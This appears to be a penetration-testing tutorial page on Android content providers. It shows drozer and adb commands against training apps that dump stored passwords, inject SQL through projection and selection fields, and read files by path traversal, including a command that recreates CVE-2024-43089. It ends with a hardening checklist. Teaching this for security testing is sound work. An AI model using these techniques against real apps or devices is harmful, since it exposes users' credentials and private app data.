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263 lines
10 KiB
Markdown
263 lines
10 KiB
Markdown
# Exploiting Content Providers
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{{#include ../../../banners/hacktricks-training.md}}
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## Intro
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Data is **supplied from one application to others** on request by a component known as a **content provider**. These requests are managed through the **ContentResolver class** methods. Content providers can store their data in various locations, such as a **database**, **files**, or over a **network**.
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In the _Manifest.xml_ file, the declaration of the content provider is required. For instance:
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```xml
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<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
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<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
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</provider>
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```
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To access `content://com.mwr.example.sieve.DBContentProvider/Keys`, the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/`.
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**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**
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## Get info from **exposed content providers**
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```
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dz> run app.provider.info -a com.mwr.example.sieve
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Package: com.mwr.example.sieve
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Authority: com.mwr.example.sieve.DBContentProvider
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Read Permission: null
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Write Permission: null
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Content Provider: com.mwr.example.sieve.DBContentProvider
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Multiprocess Allowed: True
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Grant Uri Permissions: False
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Path Permissions:
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Path: /Keys
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Type: PATTERN_LITERAL
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Read Permission: com.mwr.example.sieve.READ_KEYS
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Write Permission: com.mwr.example.sieve.WRITE_KEYS
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Authority: com.mwr.example.sieve.FileBackupProvider
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Read Permission: null
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Write Permission: null
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Content Provider: com.mwr.example.sieve.FileBackupProvider
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Multiprocess Allowed: True
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Grant Uri Permissions: False
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```
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It's possible to piece together how to reach the **DBContentProvider** by starting URIs with “_content://_”. This approach is based on insights gained from using Drozer, where key information was located in the _/Keys_ directory.
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Drozer can **guess and try several URIs**:
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```
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dz> run scanner.provider.finduris -a com.mwr.example.sieve
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Scanning com.mwr.example.sieve...
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Unable to Query content://com.mwr.example.sieve.DBContentProvider/
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...
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Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
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Accessible content URIs:
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content://com.mwr.example.sieve.DBContentProvider/Keys/
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content://com.mwr.example.sieve.DBContentProvider/Passwords
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content://com.mwr.example.sieve.DBContentProvider/Passwords/
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```
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You should also check the **ContentProvider code** to search for queries:
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 (1) (1) (1).png>)
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Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
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.png>)
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The query will be like: `content://name.of.package.class/declared_name`
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## **Database-backed Content Providers**
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Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
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Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.
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When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_:
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.png>)
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 (1) (1) (1) (1) (1) (1) (1).png>)
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Because you will be able to call them
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### Query content
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```
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dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
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_id: 1
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service: Email
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username: incognitoguy50
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password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
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-
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email: incognitoguy50@gmail.com
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```
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### Insert content
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Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:
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.png>)
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.png>)
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_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
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### Update content
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Knowing the name of the columns you could also **modify the entries**:
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.png>)
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### Delete content
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.png>)
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### **SQL Injection**
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It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
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When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
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.png>)
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You can try to **abuse** this **parameters** to test for **SQL injections**:
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```
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dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
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unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
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```
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```
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dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
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FROM SQLITE_MASTER WHERE type='table';--"
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| type | name | tbl_name | rootpage | sql |
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| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
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| table | Passwords | Passwords | 4 | CREATE TABLE ... |
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```
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**Automatic SQLInjection discovery by Drozer**
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```
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dz> run scanner.provider.injection -a com.mwr.example.sieve
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Scanning com.mwr.example.sieve...
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Injection in Projection:
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content://com.mwr.example.sieve.DBContentProvider/Keys/
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content://com.mwr.example.sieve.DBContentProvider/Passwords
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content://com.mwr.example.sieve.DBContentProvider/Passwords/
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Injection in Selection:
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content://com.mwr.example.sieve.DBContentProvider/Keys/
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content://com.mwr.example.sieve.DBContentProvider/Passwords
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content://com.mwr.example.sieve.DBContentProvider/Passwords/
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dz> run scanner.provider.sqltables -a jakhar.aseem.diva
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Scanning jakhar.aseem.diva...
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Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
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android_metadata
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notes
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sqlite_sequence
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```
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## **File System-backed Content Providers**
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Content providers could be also used to **access files:**
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.png>)
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### Read **file**
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You can read files from the Content Provider
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```
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dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
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127.0.0.1 localhost
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```
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### **Path Traversal**
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If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).
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```
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dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
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127.0.0.1 localhost
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```
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**Automatic Path Traversal discovery by Drozer**
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```
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dz> run scanner.provider.traversal -a com.mwr.example.sieve
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Scanning com.mwr.example.sieve...
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Vulnerable Providers:
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content://com.mwr.example.sieve.FileBackupProvider/
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content://com.mwr.example.sieve.FileBackupProvider
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```
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## 2023-2025 Updates & Modern Tips
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### Drozer 3.x (Python 3) is out
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WithSecure resumed maintenance of drozer in 2022 and ported the framework to **Python 3** (latest **3.1.0 – April 2024**).
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Besides compatibility fixes, new modules that are particularly useful when working with Content Providers include:
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* `scanner.provider.exported` – list only providers with `android:exported="true"`.
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* `app.provider.grant` – automatically call `grantUriPermission()` so you can talk to providers that expect `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` on Android 12+.
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* Better handling of **Scoped Storage** so file-based providers on Android 11+ can still be reached.
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Upgrade (host & agent):
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```bash
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pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
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adb install drozer-agent-3.1.0.apk
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```
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### Using the built-in `cmd content` helper (ADB ≥ 8.0)
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All modern Android devices ship with a CLI that can query/update providers **without installing any agent**:
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```bash
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adb shell cmd content query --uri content://com.test.provider/items/
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adb shell cmd content update --uri content://com.test.provider/items/1 \
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--bind price:d:1337
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adb shell cmd content call --uri content://com.test.provider \
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--method evilMethod --arg 'foo'
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```
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Combine it with `run-as <pkg>` or a rooted shell to test internal-only providers.
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### Recent real-world CVEs that abused Content Providers
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| CVE | Year | Component | Bug class | Impact |
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|-----|------|-----------|-----------|--------|
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| CVE-2024-43089 | 2024 | MediaProvider | Path traversal in `openFile()` | Arbitrary file read from any app’s private storage |
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| CVE-2023-35670 | 2023 | MediaProvider | Path traversal | Information disclosure |
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Re-create CVE-2024-43089 on a vulnerable build:
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```bash
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adb shell cmd content read \
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--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
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```
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### Hardening checklist for API 30+
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* Declare `android:exported="false"` unless the provider **must** be public – from API 31 the attribute is mandatory.
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* Enforce **permissions** and/or `android:grantUriPermissions="true"` instead of exporting the whole provider.
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* Whitelist allowed `projection`, `selection` and `sortOrder` arguments (e.g. build queries with `SQLiteQueryBuilder.setProjectionMap`).
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* In `openFile()` canonicalise the requested path (`FileUtils`) and reject `..` sequences to prevent traversal.
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* When exposing files prefer **Storage Access Framework** or a `FileProvider`.
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These changes in recent Android versions mean many legacy exploitation primitives still work, but require additional flags/permissions that the updated drozer modules or `cmd content` helper can apply automatically.
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## References
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- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
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- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
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- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
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- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
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- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
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{{#include ../../../banners/hacktricks-training.md}}
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